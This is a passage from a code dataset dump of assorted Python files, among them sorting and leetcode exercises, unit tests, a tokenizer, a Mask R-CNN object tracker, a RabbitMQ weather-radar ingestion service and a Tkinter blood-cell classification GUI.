],debug=True)","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"614682902","text":"def partition(arr,pivot):\n\tleft = []\n\tright = []\n\tfor i in arr:\n\t\tif i < pivot:\n\t\t\tleft.append(i)\n\t\telif i > pivot:\n\t\t\tright.append(i)\n\tindex = len(left)\n\tleft.extend([pivot])\n\tleft.extend(right)\n\t\n\treturn left,index\n\nres_nuts = []\nres_bolts = []\n\ndef solve(nuts,bolts):\n\tglobal res_nuts\n\tglobal res_bolts\n\tif len(nuts) == 0:\n\t\treturn\n\tif len(nuts) == 1:\n\t\tres_nuts.extend(nuts)\n\t\tres_bolts.extend(bolts)\n\t\treturn\t\n\n\tpivot = nuts[ len(nuts) // 2 ]\n\tbolts,index = partition(bolts,pivot)\n\tnuts,index = partition(nuts,bolts[index])\n\tsolve(nuts[:index],bolts[:index])\n\tres_nuts.append(pivot)\n\tres_bolts.append(pivot)\n\tsolve(nuts[index+1:],bolts[index+1:])\n\nb=[5,2,1,4,9,8,6]\na=[1,4,6,8,9,5,2]\nprint(\"Order of Bolts: \",b)\nprint(\"Initial order of nuts: \",a)\nsolve(a,b)\nprint(\"Ordered bolts: \",res_bolts)\nprint(\"Ordered nuts: \",res_nuts)","sub_path":"Assignment-5/quick.py","file_name":"quick.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"341851643","text":"# Следует протестировать основные функции программы main.py\n\nimport unittest\nimport main\nimport sys # для того, чтобы проверять функции которые делают print, а не return\nfrom contextlib import contextmanager # для того, чтобы проверять функции которые делают print, а не return\nfrom io import StringIO # для того, чтобы проверять функции которые делают print, а не return\n\n@contextmanager # для того, чтобы проверять функции которые делают print, а не return\ndef captured_output(): # ��ля того, чтобы проверять функции которые делают print, а не return\n new_out, new_err = StringIO(), StringIO()\n old_out, old_err = sys.stdout, sys.stderr\n try:\n sys.stdout, sys.stderr = new_out, new_err\n yield sys.stdout, sys.stderr\n finally:\n sys.stdout, sys.stderr = old_out, old_err\n\nclass TestSecretaryProgram(unittest.TestCase):\n\n # проверка на вывод\n def test_one_document(self):\n with captured_output() as (out, err): # для того, чтобы проверять функции которые делают print, а не return\n main.all_document([{ # вызвать функцию и дать данные\n \"type\": \"insurance\",\n \"number\": \"10006\",\n \"name\": \"Аристарх Павлов\"\n }])\n output = out.getvalue().strip()\n self.assertEqual(output, 'insurance 10006 Аристарх Павлов')\n\n # проверка на перенос строки\n def test_all_document(self):\n with captured_output() as (out, err): # для того, чтобы проверять функции которые делают print, а не return\n main.all_document(main.documents) # вызвать функцию и дать данные из документа main.py\n output = out.getvalue().strip()\n self.assertIn('\\n', output)\n\n # проверка на вывод исключения KeyError если нет строки NAME\n def test_get_exception_name_people(self):\n with self.assertRaises(KeyError):\n main.all_document([{ # вызвать функцию и дать данные\n \"type\": \"invoice\",\n \"number\": \"11-2\",\n }])\n\n # проверка на вывод имен\n def test_name_people(self):\n with captured_output() as (out, err):\n main.name_people(main.documents) # вызвать функцию и дать данные\n output = out.getvalue().strip()\n self.assertEqual(output, 'Василий Гупкин\\nГеннадий Покемонов\\nАристарх Павлов')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Продвинутый Python/5. Tests/unit-tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"81003804","text":"import logging\nimport requests\nimport time\n\nfrom remote import RemoteRunner\nimport test_base\n\n\nclass VirtualServiceTest(test_base.BaseTest):\n\n @classmethod\n def setUpClass(cls):\n logging.debug('suite begin')\n\n @classmethod\n def tearDownClass(cls):\n logging.debug('suite end')\n\n def setUp(self):\n test_base.BaseTest.setUp(self)\n self.get_product_ingress_domain()\n self.get_host_routing_info()\n\n def tearDown(self):\n pass\n\n def _get_special_label_in_log(self, cmd):\n results = []\n for host in self.productpage_hosts:\n session = RemoteRunner(client='ssh', host=host, username=self.productpage_user,\n port=\"22\", password=self.productpage_password)\n result = session.run(cmd)\n results.append(result.stdout)\n return results\n\n def test_host_routing(self):\n befores = []\n afters = []\n cmd = \"cat /export/Logs/mesh.log | grep health | wc -l\"\n\n befores = self._get_special_label_in_log(cmd)\n\n url = 'http://' + self.productpage_ingress + '/health'\n for i in range(int(21)):\n r = requests.get(url, verify=True)\n print(\"The health response code is %s\" % r.status_code)\n\n self.assertEqual(r.status_code, 200, \"Invoke API health via ingress domain fail, \"\n \"response code is %s\" % r.status_code)\n time.sleep(10)\n afters = self._get_special_label_in_log(cmd)\n\n for i in range(len(afters)):\n print(\"before is %s; after is %s\" % (befores[i], afters[i]))\n self.assertTrue((int)(afters[i]) >= (int)(befores[i]))\n\n","sub_path":"traffic_management/test_virtual_service.py","file_name":"test_virtual_service.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"39137181","text":"__author__ = 'tienbm'\n\nfrom sklearn import cross_validation\nfrom sklearn import svm\nfrom sklearn import datasets\n\n\ndef test_cross_validation():\n iris = datasets.load_iris()\n\n X_train, X_test, y_train, y_test = cross_validation.train_test_split(\n iris.data, iris.target, test_size=0.4, random_state=0)\n\n clf = svm.SVC(kernel='linear', C=1).fit(X_train, y_train)\n scores = clf.score(X_test, y_test)\n\nif __name__ == '__main__':\n test_cross_validation()\n","sub_path":"sk_evaluation/sk_cross_validations.py","file_name":"sk_cross_validations.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"291461278","text":"import pytest\n\nfrom dataclay.contrib.modeltest.family import Family, Person\nfrom dataclay.exceptions import *\n\n\ndef test_get_by_alias(client):\n person = Person(\"Marc\", 24)\n person.make_persistent(alias=\"test_get_by_alias\")\n assert person == Person.get_by_alias(\"test_get_by_alias\")\n Person.delete_alias(\"test_get_by_alias\")\n\n\ndef test_delete_alias(client):\n person = Person(\"Marc\", 24)\n person.make_persistent(\"test_delete_alias\")\n\n Person.delete_alias(\"test_delete_alias\")\n with pytest.raises(DataClayException) as excinfo:\n Person.get_by_alias(\"test_delete_alias\")\n assert \"does not exist\" in str(excinfo.value)\n\n\ndef test_same_alias(client):\n person_1 = Person(\"Marc\", 24)\n person_2 = Person(\"Alice\", 21)\n with pytest.raises(DataClayException) as excinfo:\n person_1.make_persistent(\"test_same_alias\")\n person_2.make_persistent(\"test_same_alias\")\n assert \"already exist\" in str(excinfo.value)\n\n\ndef test_change_alias(client):\n pass\n","sub_path":"tests/functional/test_alias.py","file_name":"test_alias.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"125216700","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nsys.path.insert(0, '../pysot')\nimport os\nimport argparse\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nimport pycocotools.mask as maskUtils\nimport time\nimport numpy as np\nimport cv2\nimport threading\nfrom scipy.interpolate import splprep, splev\nfrom ctypes import cdll\nimport ctypes\nfrom numpy.ctypeslib import ndpointer\nimport shutil\nimport mmcv\nfrom mmdet.apis import init_detector, inference_detector\nfrom mmcv.visualization.color import color_val\n\n\nimport os\nimport argparse\n\nimport cv2\nimport torch\nimport numpy as np\nfrom glob import glob\n\nfrom pysot.core.config import cfg\nfrom pysot.models.model_builder import ModelBuilder\nfrom pysot.tracker.tracker_builder import build_tracker\n\ntorch.set_num_threads(2)\n\n\ni=0\ndepth_mem=None\nfirst_flag=True\n\nconfig_file = 'configs/cascade_mask_rcnn_x101_64x4d_fpn_1x.py'\ncheckpoint_file = 'checkpoints/cascade_mask_rcnn_x101_64x4d_fpn_20e_20181218-630773a7.pth'\nmodel = init_detector(config_file, checkpoint_file)\nclass_names = model.CLASSES\nscore_thr=0.3\n\n\nlib = cdll.LoadLibrary('./viewer_opengl.so')\nst = lib.Foo_start\nt0 = threading.Thread(target=st)\nt0.start()\nend = lib.Foo_end\ndataread =lib.Foo_dataread\ndataread_color =lib.Foo_dataread_color\ndataread_depth =lib.Foo_dataread_depth\ndataread_color_to_depth =lib.Foo_dataread_color_to_depth\ndataread.restype = ndpointer(dtype=ctypes.c_uint8, shape=(720,1280,2))\ndataread_color.restype = ndpointer(dtype=ctypes.c_uint8, shape=(720,1280,4))\ndataread_depth.restype = ndpointer(dtype=ctypes.c_uint16, shape=(512,512))#ctypes.POINTE\ndataread_color_to_depth.restype = ndpointer(dtype=ctypes.c_uint8, shape=(512,512,4))\n\nclassname = \"test\"\nclassname1 = classname\nsmooth_rate = 200\nclassnumber = 4\nscale_factor = 1.1\nhome_path=os.getcwd() \n\nclassname = classname+\"_\"\nrgb_segmentation =1\ndarker = 0;\nsensitivity = 245;\nx= 0\ny = 0\nw = 0\nh = 0\ndef adjust_gamma(image, gamma=1.0):\n\t# build a lookup table mapping the pixel values [0, 255] to\n\t# their adjusted gamma values\n\tinvGamma = 1.0 / gamma\n\ttable = np.array([((i / 255.0) ** invGamma) * 255\n\t\tfor i in np.arange(0, 256)]).astype(\"uint8\")\n \n\t# apply gamma correction using the lookup table\n\treturn cv2.LUT(image, table)\ncolor_img = np.zeros((1280,720),dtype = np.uint8)\nresult_mask_img =np.zeros((1280,720),dtype = np.uint8)\nresult_bbox_img =np.zeros((1280,720),dtype = np.uint8)\nresult_mask =np.zeros((1280,720),dtype = np.uint8)\npysot_img =np.zeros((1280,720),dtype = np.uint8)\nmask_rcnn_flag = 0\n\n\n\ncfg.merge_from_file('config.yaml')\ncfg.CUDA = torch.cuda.is_available()\ndevice = torch.device('cuda' if cfg.CUDA else 'cpu')\nmodel_pysot = ModelBuilder()\ntracker = build_tracker(model_pysot)\nmodel_pysot.load_state_dict(torch.load('model.pth',map_location=lambda storage, loc: storage.cpu()))\nmodel_pysot.eval().to(device)\ndef run_maskrcnn():\n global color_img\n global result_mask_img\n global result_bbox_img\n global result_mask\n global mask_rcnn_flag\n global inds_len\n while 1:\n mask_rcnn_flag=1\n result = inference_detector(model, color_img)\n result_mask_img,result_bbox_img,result_mask = show_result(color_img, result, model.CLASSES)\n #print(result)\n\ndef show_result(img,result,class_names):\n global mask_rcnn_flag\n img_mask = img.copy()\n mask_temp = img.copy()\n bbox_result, segm_result = result\n bboxes = np.vstack(bbox_result)\n labels = [\n np.full(bbox.shape[0], i, dtype=np.int32)\n for i, bbox in enumerate(bbox_result)\n ]\n\n labels = np.concatenate(labels)\n bbox_color = 'green'\n text_color = 'green'\n thickness=1\n font_scale = 3\n show=True\n win_name=''\n wait_time = 0\n out_file = None\n assert bboxes.ndim == 2\n assert labels.ndim == 1\n assert bboxes.shape[0] == labels.shape[0]\n assert bboxes.shape[1] == 4 or bboxes.shape[1] == 5\n\n bbox_color = color_val(bbox_color)\n text_color = color_val(text_color)\n\n prev_point = [0,0]\n\n for i in range(0,len(bboxes)):\n label_text = class_names[labels[i]] if class_names is not None else 'cls {}'.format(labels[i])\n if len(bboxes[i]) > 4:\n label_text += '|{:.02f}'.format(bboxes[i][-1])\n left_top = (int(bboxes[i][0]),int(bboxes[i][1]) )\n right_bottom = (int(bboxes[i][2]), int(bboxes[i][3]))\n if bboxes[i][-1]<0.5 :\n pass\n else :\n img = cv2.putText(img , str(label_text) , (int(bboxes[i][0]),int(bboxes[i][1])), cv2.FONT_HERSHEY_SIMPLEX, 0.5,(255,0,0) ,1)\n #print(bboxes[i])\n img = cv2.rectangle(img , (int(bboxes[i][0]),int(bboxes[i][1])),(int(bboxes[i][2]),int(bboxes[i][3])),(255,0,0) ,1)\n mask_temp=np.zeros((720,1280),dtype = np.uint8)\n if segm_result is not None:\n \n segms = mmcv.concat_list(segm_result)\n inds = np.where(bboxes[:, -1] > score_thr)[0]\n mask_temp = mask_temp*0\n inds_len = 0\n for i in inds:\n label_text = class_names[labels[i]] if class_names is not None else 'cls {}'.format(labels[i])\n if label_text =='banana':\n color_mask = np.random.randint(0, 256, (1, 3), dtype=np.uint8)\n\n mask = maskUtils.decode(segms[i]).astype(np.bool)\n\n mask_temp[mask] = 255\n #print(color_mask.shape)\n #print(color_mask)\n img_mask[mask] = img_mask[mask] * 0.5 + color_mask * 0.5 \n img_mask = cv2.putText(img_mask, str(label_text) , (int(bboxes[i][0]),int(bboxes[i][1])), cv2.FONT_HERSHEY_SIMPLEX, 1,(int(color_mask[0,0]),int(color_mask[0,1]),int(color_mask[0,2])) ,2)\n init_rect = [int(bboxes[i][0]),int(bboxes[i][1]),int(bboxes[i][2])-int(bboxes[i][0]),int(bboxes[i][3])-int(bboxes[i][1])]\n print(init_rect)\n tracker.init(color_img, init_rect)\n inds_len = inds_len+1\n print(\"banana\")\n\n continue\n \n mask_rcnn_flag=0\n return (img_mask,img,mask_temp)\n\n\n\ndef detect_img():\n global color_img\n global result_mask_img\n global result_bbox_img\n global result_mask\n global pysot_img\n def nothing(x):\n pass\n cv2.namedWindow(\"rgb\", cv2.WINDOW_NORMAL)\n cv2.resizeWindow(\"rgb\", 1280,720)\n cv2.namedWindow(\"depth\", cv2.WINDOW_NORMAL)\n cv2.resizeWindow(\"depth\", 1280,720)\n cv2.createTrackbar('W', 'rgb', 0, 100, nothing)\n while 1:\n color_data = np.array(dataread_color(),dtype=np.uint8)\n color_img = color_data[:,:,0:3]\n depth_to_color_data = np.array(dataread(),dtype=np.uint8)\n depth_to_color_img = depth_to_color_data[:,:,0]\n depth_img = depth_to_color_img.copy()\n w = cv2.getTrackbarPos('W','rgb')\n show_img = cv2.addWeighted(pysot_img,float(100-w) * 0.01, result_mask_img,float(w) * 0.01,0)\n cv2.imshow(\"rgb\",show_img)\n cv2.imshow(\"depth\",result_mask_img)\n k = cv2.waitKey(5) & 0xFF\n if k == ord('s'):\n cv2.destroyWindow(\"rgb\")\n end()\n\n\ndef run_pysot():\n global color_img\n global pysot_img\n global result_mask_img\n global inds_len\n prev_pysot_img = np.zeros((720,1280,3))\n prev_mask = np.zeros((720,1280))\n while 1:\n try:\n pysot_img = color_img.copy()\n #print(\"run pysot\")\n outputs = tracker.track(color_img)\n if 'polygon' in outputs:\n color_mask = np.random.randint(0, 256, (1, 3), dtype=np.uint8)\n polygon = np.array(outputs['polygon']).astype(np.int32)\n cv2.polylines(pysot_img, [polygon.reshape((-1, 1, 2))],True, (0, 255, 0), 3)\n\n mask = ((outputs['mask'] > cfg.TRACK.MASK_THERSHOLD) * 255)\n \n #print(mask.max())\n mask = mask.astype(np.uint8)\n mask[mask == 255] = 1\n prev_mask = mask.copy()\n #print(mask.shape)\n pysot_img[mask>0] = pysot_img[mask>0] * 0.3 + color_mask * 0.7 \n \n \n #pysot_img = cv2.addWeighted(pysot_img, 0.77, mask, 0.23, -1)\n else:\n bbox = list(map(int, outputs['bbox']))\n color_mask = np.random.randint(0, 256, (1, 3), dtype=np.uint8)\n pysot_img = pysot_img[prev_mask>0] = pysot_img[prev_mask>0] * 0.5 + color_mask * 0.5 \n cv2.rectangle(pysot_img, (bbox[0], bbox[1]),\n (bbox[0]+bbox[2], bbox[1]+bbox[3]),\n (0, 255, 0), 3)\n prev_pysot_img = pysot_img.copy()\n #print(outputs)\n except:\n try:\n color_mask = np.random.randint(0, 256, (1, 3), dtype=np.uint8)\n pysot_img[prev_mask>0] = pysot_img[prev_mask>0] * 0.5 + color_mask * 0.5 \n except:\n pass\n time.sleep(0.1)\n print(\"no init\")\nif __name__ == '__main__':\n t1 = threading.Thread(target=detect_img)\n t1.start()\n t2 = threading.Thread(target=run_maskrcnn)\n t2.start()\n t3 = threading.Thread(target=run_pysot)\n t3.start()\n","sub_path":"examples/maskrcnn_kinect_siammask.py","file_name":"maskrcnn_kinect_siammask.py","file_ext":"py","file_size_in_byte":9280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"549576037","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n FileName : count_segments.py\n Author : libins\n Contact : libins810@gmail.com\n CreateDate : 2020-03-03 21:47\n SoftWare : IntelliJ IDEA\n Description : 字符串中的单词数[leetcode: 434题]\n-------------------------------------------------\n\"\"\"\n\n\n# 整体思路就是:判断当前字符不是空白,且上一个字符是空白的情况有多少个。\n# 需要注意下第1个字符,所以从1开始遍历\ndef count_segments(s):\n if len(s) == 0:\n return 0\n count = 0\n if s[0] != \" \": # 如果第一个字符是非空字符,则说明至少有一个单词\n count = 1\n for i in range(1, len(s)):\n if s[i - 1] == \" \" and s[i] != \" \": # 当前字符是非空且上一个字符是空\n count += 1\n return count\n\n\ns = \"\"\nret = count_segments(s)\nprint(ret)\n","sub_path":"count_segments.py","file_name":"count_segments.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"48525766","text":"from . import streams\nclass TokenError(RuntimeError): pass\n\ndef parseString(stream, callback = None):\n\tif stream.peek() not in (\"'\", '\"'):\n\t\traise TokenError('found \"{0}\", expected \"\\'\" or \"\"\"'.format(stream.peek())) \n\telse:\n\t\tinit = stream.next()\n\t\ttext = stream.read_until(lambda x: x == init)\n\t\tstream.next()\n\t\treturn ('string', text)\n\t\ndef parseInteger(stream):\n\tif stream.peek() == None or not stream.peek().isdigit():\n\t\traise TokenError('found \"{0}\", expected digit'.format(stream.peek()))\n\telse:\n\t\ti = int(stream.read_while(lambda x: x.isdigit()))\n\t\treturn ('integer', i)\n\ndef parseNewline(stream):\n\tx = stream.read_while(lambda x: x == '\\n')\n\treturn ('newline', len(x))\n\t\ndef skipWhitespace(stream):\n\tx = stream.read_while(lambda x: x.isspace())\n\treturn ('whitespace', len(x))\n\ndef parseParallelKeywords(stream, keywords):\n\tchars_read = ''\n\twhile len(keywords) != 1:\n\t\tchars_read += stream.peek()\n\t\tkeywords_left = [kw for kw in keywords if kw.startswith(chars_read)]\n\t\tif len(keywords_left) == 0:\n\t\t\tchars_read = chars_read[:-1]\n\t\t\tfor kw in keywords:\n\t\t\t\tif chars_read == kw:\n\t\t\t\t\tbreak\n\t\t\tstream.rewind(len(chars_read))\n\t\t\traise TokenError(\"Could not match \\\"{0}\\\" to a token (did you mean one of [{1}]?)\".format(chars_read, ', '.join('\"'+x+'\"' for x in keywords)))\n\t\telse:\n\t\t\tstream.next()\n\t\t\tkeywords = keywords_left\n\treturn ('operator', chars_read)\n\t\ndef parseOperator(stream):\n\ttok = ''\n\twhile not stream.empty() and not stream.peek().isalpha() and not stream.peek().isdigit() and not stream.peek().isspace():\n\t\ttok += stream.next()\n\treturn ('operator', tok)\n\t\ndef parseSymbol(stream):\n\tif stream.peek() == None or not stream.peek().isalpha():\n\t\traise TokenError('found \"{0}\", expected alpha character'.format(stream.peek()))\n\telse:\n\t\tsymbol = stream.read_while(lambda x: x.isalpha() or x.isdigit() or x == '_')\n\t\treturn ('word', symbol)\n\nspecial_operators = ['(', ')', '+', '-', '/', '*', '>', '<', '>=', '<=', '=', '==', '[', ']']\ndef tokenize(incoming):\n\tassert(isinstance(incoming, streams.base))\n\ttokens = []\n\ti = 0\n\tskipWhitespace(incoming)\n\twhile not incoming.empty():\n\t\tnxt = incoming.peek()\n\t\t#if nxt == '\\n':\n\t\t#\ttokens.append(parseNewline(incoming))\n\t\tif nxt.isalpha():\n\t\t\ttokens.append(parseSymbol(incoming))\n\t\telif nxt.isdigit():\n\t\t\ttokens.append(parseInteger(incoming))\n\t\telif nxt in '\\'\"':\n\t\t\ttokens.append(parseString(incoming))\n\t\telse:\n\t\t\ttry:\n\t\t\t\ttokens.append(parseParallelKeywords(incoming, special_operators))\n\t\t\texcept TokenError:\n\t\t\t\ttokens.append(parseOperator(incoming))\n\t\tskipWhitespace(incoming)\n\ttokens.append(('newline', 1))\n\treturn list(reclassify(tokens))\n\t\nclass Token(object):\n\tdef __init__(self, kind, value):\n\t\tself.kind = kind\n\t\tself.value = value\n\tdef __repr__(self):\n\t\treturn 'tokens.Token(\"{0}\", \"{1}\")'.format(self.kind, self.value)\n\tdef __str__(self):\n\t\treturn '{1}'.format(self.kind, self.value)\n\tdef is_meta(self, value = None):\n\t\ttype_options = ('operator', 'word', 'keyword')\n\t\tif value == None:\n\t\t\treturn self.kind in type_options\n\t\telse:\n\t\t\treturn self.value == value and self.kind in type_options\n\t\t\ndef reclassify(tokens):\n\tfor tk_type, tk_value in tokens:\n\t\tyield Token(tk_type, tk_value)\n\tyield Token('eof', 'eof')\n\t\t\nif __name__ == '__main__':\t\n\tincoming = streams.textstream('1 + 2 |> 3')\n\tp = tokenize(incoming)\n\tprint(p)","sub_path":"lexer/tokens.py","file_name":"tokens.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"610382713","text":"class Solution(object):\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n ## multiple all the numbers on the left\n ## then multiple all the number on the right\n res = list(nums)\n res[0] = 1\n for i in range(1, len(nums)):\n res[i] = res[i-1] * nums[i-1]\n \n temp = 1\n for i in range(len(nums)-2, -1, -1):\n temp *= nums[i+1]\n res[i] *= temp\n return res\n\n","sub_path":"238ProductofArrayExceptSelf.py","file_name":"238ProductofArrayExceptSelf.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"40970708","text":"\"\"\"\r\nDit is het bestand voor krijgen en terugsturen van de talen\r\nHet heeft een aantal functies en dezen staat beschreven in de drive.\r\n\r\n\r\n\r\nAnimajosser \r\n\"\"\"\r\n\r\n__version__=\"0.2\"\r\n__date__=\"19-06-2017\"\r\n__pythonversion__=\"3.6.1\"\r\n\r\n########################################################################################################################\r\n\r\n# imports\r\n\r\nimport os\r\n\r\n# variables\r\ntussenquotes=False\r\nlanguages={}\r\n\r\nneeded_list=[\r\n \"topbar_file\",\r\n \"topbar_settings\",\r\n \"topbar_credits\",\r\n \"topbar_create_appointment\",\r\n \"topbar_trash\",\r\n \"topbar_close\",\r\n \"credits_text\",\r\n \"credits_popup_title\",\r\n \"topbar_close_screen\",\r\n \"welcome_tab\",\r\n \"welcome_text\",\r\n \"create_appointment_tab\",\r\n \"recycle_bin_tab\",\r\n \"settings_tab\",\r\n \"close_tab\",\r\n]\r\n\r\n# functions\r\n\r\ndef get_lang_from_file():\r\n \"\"\" This returns the language, read from the settings file \"\"\"\r\n return \"en\"\r\n\r\n\r\ndef assign(line):\r\n \"\"\" this interprets a line from the langauge-file \"\"\"\r\n further = False\r\n first = False\r\n name = \"\"\r\n key = \"\"\r\n for a in line:\r\n if a==\"|\":\r\n name=name[:-1]\r\n further=True\r\n first=True\r\n elif not further:\r\n name+=a\r\n elif further and first:\r\n first=False\r\n elif a==\"\\n\":\r\n continue\r\n else:\r\n key+=a\r\n return name, key\r\n\r\n\r\ndef sort_out(line):\r\n \"\"\"\r\n this pre-interprets lines the language file\r\n it keeps track of multiline texts, too\r\n \"\"\"\r\n global tussenquotes\r\n global name\r\n global key\r\n\r\n if \"#\" not in line and line!=\"\" and line!=\" \":\r\n if '\"\"\"' in line:\r\n if not tussenquotes:\r\n tussenquotes=True\r\n else:\r\n tussenquotes=False\r\n if not tussenquotes and not '\"\"\"' in line:\r\n name, key=assign(line)\r\n languages[name]=key\r\n key = \"\"\r\n name = \"\"\r\n else:\r\n if tussenquotes:\r\n if '\"\"\"' in line:\r\n name, key=assign(line.replace('\"\"\"', \"\"))\r\n key+=\"\\n\"\r\n else:\r\n key+=line\r\n else:\r\n key+=line.replace('\"\"\"', \"\")\r\n languages[name]=key\r\n key=\"\"\r\n name=\"\"\r\n\r\n\r\ndef language_request(text):\r\n \"\"\"This function returns the requested text\"\"\"\r\n if text in languages:\r\n return languages[text]\r\n else:\r\n print(\"Illegal request:\", text)\r\n return \"N/A\"\r\n\r\n\r\n# script\r\n\r\nlanguage=get_lang_from_file()\r\n\r\nfile=open(os.path.join(\"lang\", language+\".lang\"), mode=\"r\")\r\n\r\nfor line in file:\r\n sort_out(line)\r\n\r\nfor a in needed_list:\r\n if a not in languages:\r\n print(a, \"was'nt found in the file:\", language+\".lang\")\r\n languages[a]=\"N/A\"\r\n","sub_path":"gui/get_lang.py","file_name":"get_lang.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"296935527","text":"import pika\nimport json\nimport sys\nimport nexradaws\nimport pickle\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='Broker', exchange_type='direct')\nresult = channel.queue_declare(queue='', exclusive=True)\nqueue_name = result.method.queue\n\nseverities = ['API']\n\nfor severity in severities:\n channel.queue_bind(exchange='Broker', queue=queue_name, routing_key=severity)\n\nprint('Data Ingestion service waiting for messages')\n\n\ndef callback(ch, method, properties, body):\n print(\"Recieved with routing key:\", method.routing_key, \"Data recieved:\", body)\n\n # Input recieved as a message\n body = json.loads(body)\n\n year = body['year']\n day = body['day']\n month = body['month']\n station = body['radar']\n key = body['key']\n\n print(\"Inputs in DI:\", year, day, month, station, key)\n \n conn = nexradaws.NexradAwsInterface()\n\n availscans = conn.get_avail_scans(year, month, day, station)\n\n serialized_obj = pickle.dumps({'key': key, 'message': availscans[0]})\n\n connection_send = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\n channel_send = connection_send.channel()\n\n channel_send.exchange_declare(exchange='Broker', exchange_type='direct')\n\n channel_send.basic_publish(exchange='Broker', routing_key='get_objects', body=serialized_obj)\n\n print(\"Sent nexrad object from Data ingestor:\", serialized_obj)\n connection_send.close()\n\n\nchannel.basic_consume(queue=queue_name, on_message_callback=callback, auto_ack=True)\n\nchannel.start_consuming()\n","sub_path":"Data_Ingestion/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"404895293","text":"import cv2\r\nimport glob\r\nimport os\r\nimport numpy as np\r\n\r\nfrom PIL import Image, ImageTk\r\nfrom tkinter import *\r\nfrom tkinter import filedialog\r\n\r\nfrom classification import Classify\r\nfrom feature_extraction import FeatureExtraction\r\nfrom helper import Helper\r\n\r\n# Variabel Konstan\r\nJENIS_SEL_DARAH_PUTIH = 5\r\nAPA_CITRA_PENUH = False\r\n\r\n# Kelas untuk membuat tampilan antarmuka program Cidar\r\nclass GUI(Frame):\r\n def __init__(self, parent):\r\n Frame.__init__(self, parent)\r\n\r\n self.parent = parent\r\n\r\n self.initUI()\r\n\r\n # Fungsi untuk Inisialisasi tampilan\r\n def initUI(self):\r\n self.parent.title(\"Cidar\")\r\n\r\n menubar = Menu(self.parent)\r\n self.parent.config(menu=menubar)\r\n\r\n # Buat menu bar\r\n fileMenu = Menu(menubar)\r\n fileMenu.add_command(label=\"Ekstraksi Banyak\", underline=0, command=lambda: self.simpanData())\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label=\"Keluar\", underline=0, command=self.onExit)\r\n menubar.add_cascade(label=\"Berkas\", underline=0, menu=fileMenu)\r\n\r\n # Buat label dan tombol\r\n labelTahap1 = Label(self.parent, text = \"Tahap 1: Pilih folder citra\", justify = LEFT).grid(sticky = W, columnspan = 2)\r\n labelFolder = Label(self.parent, text = \"Belum pilih folder\")\r\n buttonPilihFolder = Button(self.parent, text = \"Pilih Folder\", command = lambda: self.ambilFolder(labelFolder)).grid(sticky = W, row = 1, column = 0)\r\n buttonEkstrakBanyak = Button(self.parent, text = \"Ekstraksi Banyak\", command = lambda: self.ekstrakBanyak()).grid(sticky = W, row = 2, column = 0)\r\n labelFolder.grid(sticky = W, row = 1, column = 1, columnspan = 5)\r\n labelSep = Label(self.parent, text = \"\").grid(sticky = W, columnspan = 2, row = 2)\r\n labelTahap2 = Label(self.parent, text = \"Tahap 2: Pilih metode kecerdasan buatan\").grid(sticky = W, columnspan = 2, row = 3)\r\n\r\n # Buat Dropdown\r\n self.kecerdasan = 'Decision Tree'\r\n mainframe = Frame(self.parent)\r\n mainframe.grid(column=0,row=4, sticky=(N,W,E,S) )\r\n mainframe.columnconfigure(0, weight = 1)\r\n mainframe.rowconfigure(0, weight = 1)\r\n \r\n\r\n # Buat daftar pilihan dropdown nya\r\n tkvar = StringVar(self.parent)\r\n choices = {'Decision Tree','kNN','Naive Bayes', 'Neural Network','Random Forest', 'SVM'}\r\n tkvar.set('Decision Tree') # Menu defaultnya\r\n \r\n popupMenu = OptionMenu(mainframe, tkvar, *choices)\r\n popupMenu.grid(sticky = W, row = 4, column =0)\r\n \r\n # Fungsi untuk mendeteksi ketika ada perubahan pilihan dropdown\r\n def change_dropdown(*args):\r\n self.kecerdasan = tkvar.get()\r\n print( tkvar.get() )\r\n \r\n # Menyambungkan fungsi deteksi perubahan pilihan pada tampilan antarmuka\r\n tkvar.trace('w', change_dropdown)\r\n\r\n # Label atau teks pada antarmuka untuk menampilkan hasil\r\n labelPemisah = Label(self.parent, text = \"-----------------------------------------\").grid(sticky = W, columnspan = 3, row = 8, column = 0, pady = 5)\r\n labelHasil = Label(self.parent, text = \"Hasil\")\r\n labelJumlah = Label(self.parent, text = \"Jumlah Citra:\")\r\n labelBasofil = Label(self.parent, text = \"Jumlah Basofil:\")\r\n labelEosinofil = Label(self.parent, text = 